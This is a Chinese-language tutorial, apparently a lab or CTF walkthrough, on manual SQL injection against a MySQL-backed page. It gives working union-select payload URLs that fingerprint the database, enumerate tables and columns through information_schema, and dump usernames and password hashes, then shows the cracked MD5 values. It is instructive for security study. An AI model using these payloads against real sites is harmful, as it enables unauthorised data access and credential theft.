SQL手工注入详解
- 一、判断是否存在注入点
- 二、Mysql数据库基本结构
- 三、information_schema 简述
- 四、手工注入过程详解
- 1. 判断注入点
- 2. 判断列名数量(字段数)
- 3.判断可利用字段
- 4. 信息收集
- 5. 获取表名
- 6. 获取列名
- 7.获取指定数据
- 8.md5解密
- 9.登录获取KEY
一、判断是否存在注入点
如果页面中MySQL报错,证明该页面中存在SQL注入漏洞:
- 单引号 ’ ----> 页面错误
- and 1=1 ----> 页面正常
- and 1=2 ----> 页面错误
- ?id=随意输入------>页面错误
二、Mysql数据库基本结构
MYSQL数据库
数据库A=网站A=数据库用户A
表名
列名
数据
数据库B=网站B=数据库用户B
表名
列名
数据
数据库C=网站C=数据库用户C
表名
列名
数据
三、information_schema 简述
- MySQL5.0版本以上新增 information_schema 数据库
- information_schema 数据库储存当前数据库下所有的数据库名、表名、字段名等信息。
- 数据库中符号“.”代表下一级,如xiao.user标识xiao数据库下的user表名
举例:
数据库表名 | 含义 |
information_schema.tables | 记录所有表名信息的表 |
information_schema.columns | 记录所有列名信息的表 |
table_schema | 数据库名称 |
table_name | 表名 |
column name | 列名 |
四、手工注入过程详解
1. 判断注入点
?id=随意输入数字11265,页面返回错误,判断有注入点。
2. 判断列名数量(字段数)
order by X 根据返回页面正确与错误的临界值,判断临界值为4
3.判断可利用字段
将id值设置成不成立,即可探测到可利用的字段数,判断可利用字段数为2,3字段
http://219.153.49.228:47468/new_list.php?id=-1 union select 1,2,3,4
或者
http://219.153.49.228:47468/new_list.php?id=1 and 1=2 union select 1,2,3,4
4. 信息收集
类型 | sql函数 | 查询到信息 |
数据库版本 | version() | 5.7.22-0ubuntu0.16.04. |
数据库名字 | database() | mozhe_Discuz_StormGroup |
数据库用户 | user() | root@localhost |
操作系统 | @@version_compile_os | Linux |
http://219.153.49.228:47063/new_list.php?id=-1 union select 1,version(),database(),4
http://219.153.49.228:47063/new_list.php?id=-1 union select 1,user(),@@version_compile_os,4
5. 获取表名
数据库版本为5.7,利用information_schema数据库查询表名
http://219.153.49.228:47063/new_list.php?id=-1%20union%20select%201,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
查询到指定数据库mozhe_Discuz_StormGroup下表名有:StormGroup_member,notice
6. 获取列名
利用 union select 联合查询,获取StormGroup_member表下的列名
http://219.153.49.228:47063/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
查询到列名有 id,name,password,status
7.获取指定数据
利用 union select 联合查询,获取指定数据,name,password。查询的时候尽量使用group_concat()防止漏数据
http://219.153.49.228:47063/new_list.php?id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member
8.md5解密
356f589a7df439f6f744ff19bb8092c0 MD5解密 :dsan13
2d9dc71b7a2989dfb723ea224c73e7e7 MD5解密 :915944
9.登录获取KEY